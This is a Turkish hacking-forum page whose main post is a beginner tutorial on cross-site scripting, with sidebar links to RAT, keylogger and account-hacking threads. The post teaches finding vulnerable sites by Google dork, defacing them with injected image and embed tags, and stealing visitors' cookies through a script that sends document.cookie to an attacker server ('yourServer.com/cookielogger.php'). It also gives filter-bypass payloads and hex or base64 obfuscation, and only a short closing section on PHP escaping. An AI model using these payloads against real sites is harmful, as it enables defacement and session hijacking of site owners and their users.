SiteMiz KapaLıdır [BakımDa]

SiteMiz KapaLıdır [BakımDa]

Sitemiz uzun Bir aradan Sonra tekrar OnLine olcaktır.. ayrıca sitemiz 6 Nisan 2011 tarihi itibariyLe bakıma alınmıştır.. en kısa sürede tekrar hizmet vermeye calışacağız.. Sitemize yeni bilgili admiler alınakcatır..
 
AnasayfaAna sayfaKullanıcı GruplarıKayıt OlGiriş yap
Facebook HackroaRs
En son konular
» Bu sene kim şampıyon olur?
Çarş. Nis. 27, 2011 6:34 am tarafından 

» Tüm üyeLerimize duyuru..!
Cuma Nis. 08, 2011 10:44 pm tarafından 

» turkojan 4.0 (gold edition) videolu anlatımm
Perş. Mart 17, 2011 6:16 am tarafından reda

» n keylogger v12 gel hackadim
Cuma Ara. 24, 2010 8:16 pm tarafından merotova

» ProRat en iyi 20 özellikli sizi eqlendiren hacker programı!!!
Perş. Ara. 23, 2010 5:09 am tarafından iboksk23

» Not defterinden virüs yapma gel birden fazla virüs kodu var!!!!!
Perş. Ara. 23, 2010 3:55 am tarafından iboksk23

» 2011'in ilK msn hack programi!
C.tesi Kas. 13, 2010 2:23 am tarafından qnayf

» 2011'in ilK msn hack programi!
C.tesi Kas. 13, 2010 2:23 am tarafından qnayf

» İşte ÖzeL HEsapMakınası
C.tesi Haz. 05, 2010 3:43 am tarafından 

Similar topics
    Arama
     
     

    Sonuç :
     
    Rechercher çıkıntı araştırma
    Sosyal yer imi
    Sosyal yer imi Digg  Sosyal yer imi Delicious  Sosyal yer imi Reddit  Sosyal yer imi Stumbleupon  Sosyal yer imi Slashdot  Sosyal yer imi Yahoo  Sosyal yer imi Google  Sosyal yer imi Blinklist  Sosyal yer imi Blogmarks  Sosyal yer imi Technorati  

    Sosyal bookmarking sitesinde VeBaHaCKTeaMS adresi saklayın ve paylaşın

    Sosyal bookmarking sitesinde SiteMiz KapaLıdır [BakımDa] adresi saklayın ve paylaşın
    Istatistikler
    Toplam 175 kayıtlı kullanıcımız var
    Son kaydolan kullanıcımız: rechko

    Kullanıcılarımız toplam 448 mesaj attılar bunda 397 konu

    Paylaş | 
     

     xss hakkinda her sey

    Önceki başlık Sonraki başlık Aşağa gitmek 
    YazarMesaj




    Kayıt tarihi : 31/12/69

    MesajKonu: xss hakkinda her sey   Cuma Ocak 15, 2010 5:41 am

    Bölüm 1 - xss Nedir?

    “CSS” olarak da bilinen “xss”( Cascading Style Sheets ile karıştırılan Cross Site Scripting) web uygulamalarında sıklıkla karşılaşılan bir açıktır. xss saldırgana kötü niyetli kodlar eklemesine imkan tanımaktadır. xss saldırılarının birçok çeşidi mevcuttur. Şimdi ben burada en çok kullanılan 3 tanesi üzerinde duracağım.

    Bahsetmek istediğim ilk saldırı turu URL xss’dir. Bu yöntem xss’in sayfada kalmayacağı anlamına gelir. Bu durumda xss, sadece kodu alıp “submit” ettiğimizde çalışacaktır. Bunu kendi lehimize nasıl kullanırız bundan daha çok bahsedeceğiz.

    İkinci saldırı girdi alanlarındadır. Datayı nereye eklerseniz ekleyin çoğunlukla xss olur. Örnek olarak bir arama motoru kullanarak bir site bulduk. Arama kutucuğuna “hacker” diye yazın ve aratın. Sayfa yüklendiğinde eğer derse ki; “hacker” için 100 sonuç bulundu, veriyi sayfada gösterdiğini göreceksiniz. Şimdi ya kodu çalıştırırsak? Bu saldırıda PHP kodu çalıştırmak mümkün değildir ancak HTML ve JavaScript kodlarını çalıştırmak mümkündür. Bu arada bu yönteme dikkat edin sunucuda kalmayacaktır.

    Üçüncü saldırı yöntemi; bu yöntem ile kodu ilave edebilirsiniz ve kod sitede kalıcı olacaktır.
    PHP ve HTML çalıştırıp çalıştıramayacağımıza bağlı olan iki çeşit kodumuz var. Eğer PHP’yi enjekte edersek aynı HTML’yi de enjekte edebiliriz. Bu tarz saldırılar genellikle blog’larda ve profillerde bulunur. Forumlar ise çoğu yerine veri ekleyebildiğiniz ve verilerin eklenilen yerde kaldığı alanlardır. HTML, PHP’den çok farklıdır. HTML bilgisayarınıza “download” edilir ve tarayıcınızda bunu çözümler ( bu nedenle sayfa kaynakları görüntülenebilir). PHP ile de kod, scriptin barındırıldığı sunucu üzerinde çözümlenir, daha sonra veri tarayıcıya geri gönderilir. PHP enjeksiyon için bu durum çok nadirdir. Not: PHP kod asla HTML sayfaya enjekte edilemez.


    Bölüm 2 - xss Açıklarını Bulma

    Bu açıkları bulabilmek için Blog’ları, Forum’ları, Shoutbox’ları, yorum kutularını ve arama kutucuklarını deneyerek başlayabilirsiniz. Aslında burada bahsedilenlerden daha fazla örnek vermek mümkündür.

    Google Dork’ları daha kolay bulmak için kullanılabilir. Örnek olarak google.com girerek inurl:”search.php?q=” yazabilirsiniz. Simdi bu bulunabilen çok genel bir sayfadır ve birçok sonuç elde edebilirsiniz. Daha fazla saldırı bulabilmek için diğer bolüme geçin.

    Aynı zamanda çoğu sitenin xss açığı bulunduğunu unutmayın ve bunu bulabilmek için sadece iyi bir göz ve birazda filtrelemeye nasıl bypass yapılacağı hakkında bilgi sahibi olmak yeterlidir.





    Bölüm 3 - xss Üzerine Temel Kavramlar

    Simdi en çok kullanılan xss olmak üzere en genelinden öğrenmeye başlayalım.
    En yaygın olanı <******>alert("xss")</******>.

    Bu kod “xss” tırnak işaretleri olmaksızın, kolaylıkla düzenlenebilir seklinde bir “popup” ikazı verecektir.

    Bu nedenle, bahsettiğimiz şeyleri hatırladığınızı varsayarak bundan bir önceki konuya geri döndüğümüzde, search.php?q= bunu basitçe bir web sitesi üzerinde deneyebiliriz.
    [Linkleri görebilmek için üye olun veya giriş yapın.]

    Büyük bir olasılıkla çalışacaktır ancak yinede çalışmazsa sorun değil, baksa sitelerde de değişik varyasyonlarını deneyebilirsiniz.( ben çoğu kişinin, sadece JavaScript değil HTML kodlar da ekleyebileceklerinin farkında olduklarını sanmıyorum)

    [Linkleri görebilmek için üye olun veya giriş yapın.]

    Eğer kalın fontla yazılmış metni ve haber baslığını görürseniz açık bulunduğunu biliyorsunuzdur ve artık daha sonra izah edeceğimiz yöntemleri de kullanabilirisiniz.


    Bölüm 4 - Saldırı Yöntemleri

    Evet, artık xss nasıl çalışır bunu öğrendik, simdi de bazı xss deface metotlarını izah edebiliriz. Deface için kullanılabilecek birçok yöntem vardır ve ben bunlardan en etkili ve en yaygın olanları üzerinde duracağım.

    İlki IMG SRC olanıdır. HTML bilmeyenler için IMG SRC, kendisine link’lenmiş olan resmi web sitesinde göstermek için kullanılan bir tag’dır.

    <html><bOdy><IMG src= "http://site.com/yourDefaceIMAGE.png">

    Eğer link’i geçerli bir resim linki ile değiştirir, kaydeder ve çalıştırırsanız ne demek istediğimi daha iyi anlayacaksınız.

    Şimdi diyelim ki Shoutbox, Commentbox veya siz verilerinizi girdikten ve onayladıktan sonra, girdiğiniz verileri gösteren herhangi bir yer buldunuz. Resmi sayfada gösterebilmek için aşağıda vermiş olduğum link’i ekleyebilirsiniz.

    <IMG src= "http://site.com/yourDefaceIMAGE.png">

    Diğer tag’lara gerek yok çünkü sayfa onları zaten barındırmaktadır (çok ıstınsa durumlarda barındırmayabilirde).

    Bu resminizin daha büyük görünmesini sağlar ve site net bir şekilde hacklenmiş olur.
    Diğer bir yöntemde flash videoların kullanımıdır. Aşağıdaki yöntemle aynıdır ancak biraz daha afilli bir yöntemdir.

    <EMBED src= "http://site.com/xss">
    Burada ise, kendisine link’lenmiş olan flash video çalıştırılacaktır.
    Ya da Pop veya yönlendirme de kullanıyor olabilir

    <******>window.open( "http://www.google.com/" )</******>


    Bölüm 5 - Çerez (Cookie) Çalma

    En etkili yöntem olduğu için bunu eklemek istedim.
    Önce [Linkleri görebilmek için üye olun veya giriş yapın.] (ben baktım link çalışmıyor)

    Sitesinden cookie logger’i indirelim. Simdi dosyayı edindik ve a.php seklindeki dosyamızı serverımıza upload ediyoruz. Log.txt dosyasını oluşturmayı var chmod 777 yapmayı unutmayın. Simdi ise herhangi bir saldırıyı gerçekleştirebileceğimiz, xss açığı olan bir site
    bulun. Simdi ise su kodu ekleyin;

    window.location = "http://yourServer.com/cookielogger.php?c="+********.cookie

    veya

    ********.location = "http://yourServer.com/cookielogger.php?c="+********.cookie

    Bundan sonra kullanıcı eğer siteyi ziyaret ederse cookie loggeri yemiş olacaktır. Gerekli bilgiler siteye gönderilmiş ve cookie’ler çalınmış olacaktır.

    İkinci kısım ise daha gizli kapaklıdır.
    Cookie’ler için dosyanıza bakın ve sonra kullanıcının oturumunu yönlendirebilirsiniz.
    Ancak eğer derseniz ki ya bizim sitemizin bu tarz bir saldırı olanağı yok, sadece datayı bir kez gösteriyor ve onu saklamıyorsa?

    Diyelim ki bizim search.php?q= diye bir sayfa elimizde, biz bunu aşağıdaki kodu kullanarak ondan zararlı bir url elde edebiliriz ve belki hex belkide base64 onu encode eder ve insanlar kodu goremezler

    [Linkleri görebilmek için üye olun veya giriş yapın.] = "http://yourServer.com/cookielogger.php?c="+********.cookie


    Bölüm 6 - Filtreleme İşlemini ByPass Etmek

    Çoğu sitede acık var gözükebilir ancak kod çalıştırmaz, bunu çözebilmek için bu bolumu iyi not edin. Filtreleme işlemini ByPass etmek için kullanılan bazı genel yöntemler;

    ’)alert(’xss’);

    or

    ");alert(’xss’);

    Bunlar açık olan bir serverda bu kodun <******>alert("xss")</******> yaptığının aynısını yaparlar. Datayı onaylamadan önce Hexing yada base 64 encoding etmeyi deneyebilirsiniz.

    Su hususa dikkat edin; xss’i test etmek için (“xss”) ikazı kullanmak hiç de iyi bir pratik yapma yöntemi değildir çünkü ben xss harflerini engelleyen sitelerin olduğunu biliyorum.

    Filtrelemeyi bypass edebilmek için diğer yollar;

    <****** type=text/javascript>alert("CyberWarrior")</******>
    <******>alert("CyberWarrior")</******>;
    <******>alert("CyberWarrior");</******>
    <******>alert("CyberWarrior"/)</******>
    <******>var var = 1; alert(var)</******>


    Bölüm 7 - İleri Seviye xss

    Bu bolümde sağlam olan belli başlı yöntemleri inceleyeceğiz ki, kendimin bile daha kullanıldığına hiç rastlamadığım yöntemler, eminim beğeneceksiniz.
    “Sihirli İşaretlerin” kullanıma acık olduğu ve bu nedenle bazı komutları gereksiz kılan birçok site gördüm. Ancak kesirli sayıları kullanarak onları ASCII’ye çeviren bir yönteme rastladım. Kesirli sayıları ASCII’ye çevirmek için gerekli fonksiyonları içeren bütün bir tabloyu
    Ascii Table - ASCII character codes and html, octal, hex and decimal chart conversion sitesinden edinebilirsiniz. Bu tablo size neyi yazmak istiyorsanız onu yazmanıza yardımcı olacaktır. Ben kendi örneğimde "turkishajan" yazacağım ve aşağıdakilerde bunun için gerekli kodlar;

    67 121 98 101 114 87 97 114 114 105 111 114

    Evet, şimdi string’imizin ondalık değerlerini elde ettik, bilmemiz gereken şey JavaScript’in bunu hangi fonksiyona dönüştürdüğüdür.

    String.fromCharCode()

    Bu kod bu tarz şeyler için uygundur, kurulumu kolaydır. Bunu da aşağıdaki kendi argümanlarımdan vereceğim.

    String.fromCharCode(67, 121, 98, 101, 114, 87, 97, 114, 114, 105, 111, 114
    )

    Evet simdi
    "String.fromCharCode(67, 121, 98, 101, 114, 87, 97, 114, 114, 105, 111, 114)"
    “CyberWarrior” ifadesinin JAVA (ASCII)’deki seklidir.

    Ve bunu uyarı vb şeylerle kullanmak için simgelere ihtiyacınız olmaz çünkü zaten bunun kendisi değişken olarak görev yapar.

    <******>alert(String.fromCharCode(67, 121, 98, 101, 114, 87, 97, 114, 114, 105, 111, 114))</******>

    Şimdi bu durumda "CyberWarrior" seklinde gösterilecektir. Ve bu yöntem sihirli işaretler denilen imleçleri bypass etmede bir numaradır.

    Bir sonraki bolüme devam etmeden önce, yine değişkenlerin kullanıldığı başka bir yöntemden daha bahsetmek istiyorum.

    Söyle bir şey yazalım;

    var myVar = 1
    burada myVar 1 demenin daha uzun bir seklidir.

    Değişkenleri xss’de kendi lehimize kullanmak için, aşağıdaki şekilde yazabiliriz;

    <******>var myVar = 1; alert(myVar)</******>
    Burada değişkenlerin içerikleri herhangi bir işaret (quote) kullanmadan gösterilecektir.


    Bölüm 8 - xss Güvenliği

    Bu kısım web yazılımcıları için hazırlanmıştır. Hazırladığınız kodlara nasıl güvenlik sağlayabilirsiniz ondan bahsedeceğim.

    Eğer ******’lerinizde xss açıklarına rastlarsanız, güvenliğini sağlamak çok basittir. Aşağıdaki koda söyle bir göz atın;

    if(isset($_POST[’form’])){echo "<html><bOdy>" .$_POST[’form’]. "</bOdy></html>";}

    Diyelim ki $_POST[’from’] değişkeni herhangi bir girdi kutucuğundan geliyordu ve sız de xss saldırısına maruz kaldınız. Sonraki ise bunun güvenliğini sağlamak için çok basit bir yöntem;

    $charset=’UTF-8’; $data = htmlentities ($_POST[’form’], ENT_NOQUOTES, $charset);
    if(isset($data)){echo "<html><bOdy>" .$data. "</bOdy></html>";}

    Bu satır muhtemel tüm kodları alacak ve onları < gibi şeylere dönüştürerek çalışmaz hala getirecektir.

    HTML girişlerini kullanırken herhangi bir farklılık göze çarpmayacak ();
    Ayrıca çok yaygın olan başka bir fonksiyon daha var, striptags(), daha fazla bilgiyi php.net/striptags’da bulabilirsiniz. Tam sayı değişkenlerin (yanı içinde her zaman için tamsayı değeri bulunduran değişkenler) güvenliğini nasıl sağlayacağınıza dair size göstereceğim diğer bir yöntem de;

    $this = $_GET[’id’];
    echo "görüntülediğiniz" . $this . "blog"; affraid
    Sayfa başına dön Aşağa gitmek
     
    xss hakkinda her sey
    Önceki başlık Sonraki başlık Sayfa başına dön 
    1 sayfadaki 1 sayfası
     Similar topics
    -
    » DYNAVOX M3 CİHAZI HAKKINDA

    Bu forumun müsaadesi var:Bu forumdaki mesajlara cevap veremezsiniz
    SiteMiz KapaLıdır [BakımDa] :: Hacking Area :: Yeni Başlayanlar-
    Buraya geçin: